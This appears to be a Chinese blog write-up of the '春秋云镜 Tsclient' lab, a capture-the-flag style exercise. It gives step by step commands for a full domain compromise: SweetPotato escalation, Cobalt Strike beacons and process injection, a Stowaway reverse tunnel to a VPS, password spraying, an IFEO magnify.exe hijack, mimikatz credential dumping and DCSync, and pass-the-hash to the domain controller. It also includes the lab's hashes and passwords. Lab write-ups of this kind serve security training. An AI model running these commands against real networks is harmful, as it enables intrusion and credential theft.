Tsclient


Tsclient

外网

mssql弱口令(MDUT执行命令)

fscan扫出一个mssql弱口令

image-20251222142731315

MDUT连接一下(下载地址:MDUT-Extend(扩展版本)Multiple Database Utilization Tools Extend - 🔰雨苁ℒ🔰

image-20251222143031876

激活组件后就可以执行命令

image-20251222150825119

SweetPotato提权

权限较低,上传文件SweetPotato.exe去提权

1
C:/Users/Public/Sweetpotato.exe -a whoami
image-20251222151444259
1
C:/Users/Public/Sweetpotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"
image-20251222151702275

上线cs

参考:CobaltStrike4.8汉化版带插件-CSDN博客

服务端运行起来

1
./teamserver 101.200.39.193 111111

image-20251222153529570

本地电脑使用客户端连接一下(要关vpn),主要输入HOST、Port、password即可,然后开始上线

image-20251222154030634

新建一个监听, 然后以这个监听生成一个🐎,然后上传CS的🐎, 把CS给上线, 用提权的命令执行, 这样上线后的CS也是system权限了。

这里监听端口注意是vps空闲且开了安全组的端口

image-20251222154758395

image-20260109153716664

image-20260109153640047

将生成的马上传,然后用土豆提权运行,得到的是system权限

1
C:/Users/Public/Sweetpotato.exe -a "C:/Users/Public/cs.exe"

上线成功

image-20260109154717509

查看一一下用户

1
shell net user
image-20260109160030859

直接hashdump , 抓一下密码hash值, 毕竟现在是system的账户权限

image-20260109160813543

1
2
3
4
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1f:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
John:1008:aad3b435b51404eeaad3b435b51404ee:eec9381b043f098b011be51622282027:::

但是cs好像可以直接看

image-20260109161408400

CS注入在线用户进程上线

查看一下在线用户 , 可以发现有john的用户在线, 那么可以用CS直接注入进程上线

1
shell quser || qwinst

image-20260109161006296

查看进程列表, 选择john用户的进程进行注入

image-20260109161631328

随便选择一个john的进程进行inject就行了

image-20260109161917661

发现成功上线

image-20260109162014497

用John查看共享资源

1
shell net use 

image-20260109162222486

查看一下共享的文件里面的内容

1
2
shell dir \\TSCLIENT\C
shell type \\TSCLIENT\C\credential.txt

image-20260109162527725

image-20260109162629390

可以找到一个域用户的用户名和密码 , 并且提示了镜像劫持

1
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

内网

Stowaway搭建代理

vps运行

1
./linux_x64_admin -l 12345 -s 123456

靶机运行

1
shell C:/Users/Public/win_agent.exe -c 101.200.39.193:12345 -s 123456 --reconnect 8

隧道搭建成功

image-20260109171027138

在vps上依次执行

1
2
use 0
socks 5555

内网访问,验证一下,嗯嗯没错了

image-20260109171217247

密码喷洒攻击

1
2
用少数的用户名和密码一个一个的碰撞, 看看是否能够登录到某个主机
(就是已知某个用户名和密码(或者尝试使用弱口令), 但不知道是有哪个主机可以登录, 所以一个一个尝试)

前面已经知道了一个用户名和密码

1
2
3
proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

#1. -q  : 表示安静模式, 即减少输出信息,只显示必要的执行结果,避免冗长的日志。

image-20260109193946340

分别是DC01,WIN2016,WIN19-CLIENT三台主机显示密码已过期,但是没事可以改

impacket-changepasswd修改密码

用impacket-changepasswd修改密码,经过尝试发现只有172.22.8.46修改密码后可以登入成功

1
proxychains4 impacket-changepasswd 'xiaorang.lab/Aldrich:Ald@rLMWuy7Z!#@172.22.8.46' -newpass 'Whoami@666'
1
proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Whoami@666'

image-20260109194246930

映像劫持提权-放大镜提权

无权限读取文件,需要映像劫持提权,简单的说,就是通过修改指定注册表项实现程序的劫持,即运行指定程序实际上运行的是我们自己的后门程序

映像劫持的几种利用方式 - FreeBuf网络安全行业门户

1
原理:一个程序要被运行时,会先检查注册表,如果有指定程序并且开启了debugger,那么会优先执行debugger指定的程序,这样也就造成了映像劫持。

先看一下注册表权限

1
Get-Acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
1
2
3
4
5
命令解释:
1. get-acl  PowerShell 中的一个 cmdlet用于检索文件文件夹或注册表键的访问控制列表ACL)。
ACL 包含权限信息例如哪些用户或组可以访问该路径以及他们的权限类型读取写入完全控制等)。
2. -path  : 指定要检查的对象路径
3. **fl *** :  Format-List 的别名用于将对象的属性以列表形式显示, *表示通配符, 显示对象的所有属性

image-20260109203440395

重点关注这个

1
2
3
4
5
6
AccessToString          : CREATOR OWNER Allow  FullControl
                          NT AUTHORITY\Authenticated Users Allow  SetValue, CreateSubKey, ReadKey
                          NT AUTHORITY\SYSTEM Allow  FullControl
                          BUILTIN\Administrators Allow  FullControl
                          BUILTIN\Users Allow  ReadKey
                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey

所有正常登录的用户都可以修改注册表,利用这个性质,修改注册表映像劫持,这里我使用放大镜进行提权,其实也就是把magnify.exe替换成C:\windows\system32\cmd.exe,这样就直接提权成system了

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
命令解释:
1. REG ADD: 这是一个 Windows 命令行工具用于向注册表添加新的键或值
2. "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe":
   指定注册表路径
这个注册表路径是 Windows 用于调试或拦截程序执行的机制通过设置 Debugger 可以让指定的程序在启动时被替换为另一个程序
在这里magnify.exe 劫持”,启动时会被替换为 cmd.exe
     HKLM  HKEY_LOCAL_MACHINE 的缩写表示本地计算机的注册表根键的驱动器形式
     SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 是一个特殊的注册表位置用于配置可执行文件的执行选项
     magnify.exe  Windows 自带的放大镜工具Magnifier),位于 C:\Windows\System32 目录下
3. /v Debugger:
   /v 表示要添加或修改的注册表值的名称
   Debugger 是一个特定的值名 Image File Execution Options 用于指定当目标程序这里是 magnify.exe启动时代替它运行的调试器程序
4. /t REG_SZ:
   /t 指定值的类型
   REG_SZ 表示这是一个字符串类型的值即文本数据)。
5. /d "C:\windows\system32\cmd.exe":
   /d 指定要写入的具体数据
   "C:\windows\system32\cmd.exe"  Windows 的命令提示符程序路径

点左下角的头像, 再点击锁定锁定用户,再在右下角的放大镜打开就是system的cmd了

image-20260109203957930

拿到第二个flag

1
type C:\Users\Administrator\flag\flag02.txt

image-20260109204121587

不出网转发上线CS

win是不出网的,需要用172.22.8.18转发cs上线

image-20260109195719071

image-20260109200126498

然后怎么将文件弄到远程桌面?用kali的共享目录,这样我们只需将文件放到/mnt/xpw/kali_shard就可映射到靶机了

1
2
3
4
5
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Whoami@666' -r disk:share=/mnt/xpw/kali_shard

# -r:rdesktop 的选项,用于启用资源重定向(resource redirection)
# disk:share=/mnt/xpw/kali_shard
#  表示将本地目录 /mnt/xpw/kali_shard 映射到远程桌面会话中,作为一个共享磁盘,名称为 share

注意要用管理员打开这个kali_shard目录才行,不然远程桌面运行不了cs马

image-20260109202916798

运行后成功上线

image-20260109203052041

进行信息搜集一波

1
shell net user /domain

image-20260109204530916

1
shell net group "domain admins" /domain

image-20260109204624639

1
WIN2016$ 在域管组里,账号恰好是域里的“皇帝”(域管),那就可以打域控了

mimikatz进行hash传递攻击

发现win2016$在域管组里,即机器账户可以Hash传递登录域控,所以相当于直接拿域控了。

利用mimikatz进行hash传递攻击,先上传mimikatz.exe,然后依旧用防大镜提权那打

1
C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

意思是命令目标机器运行桌面上上传好的 Mimikatz 程序,尝试提升权限并抓取内存中的明文密码和哈希,抓完后立即自动退出程序

但是这样麻烦,因为在远程桌面命令行不能复制,所以要手敲,麻烦,直接用镜像劫持的方法在system权限的cmd窗口上线CS, 这样上线的CS也是system权限

1
\\tsclient\share\tsc.exe

image-20260109211251209

有了system的权限就可以抓取hash, 然后打hash传递拿域控主机的权限了

1
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

image-20260109211504777

1
4ba974f170ab0fe1a8a1eb0ed8f6fe1a

然后进行哈希传递

1
proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 4ba974f170ab0fe1a8a1eb0ed8f6fe1a -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

发现不行???咋别人行?

image-20260109212042780

那就从域控制器中 dump 出所有账户的凭据信息

1
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
image-20260109213050609
1
proxychains4 crackmapexec smb 172.22.8.15 -u administrator -H 2c9d81bdcf3ec8b1def10328a7cc2f08 -d xiaorang.lab -x "type C:\Users\Administrator\flag\flag03.txt"

image-20260109212017313

春秋云镜 Tsclient

(´∇`)你回来啦~

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计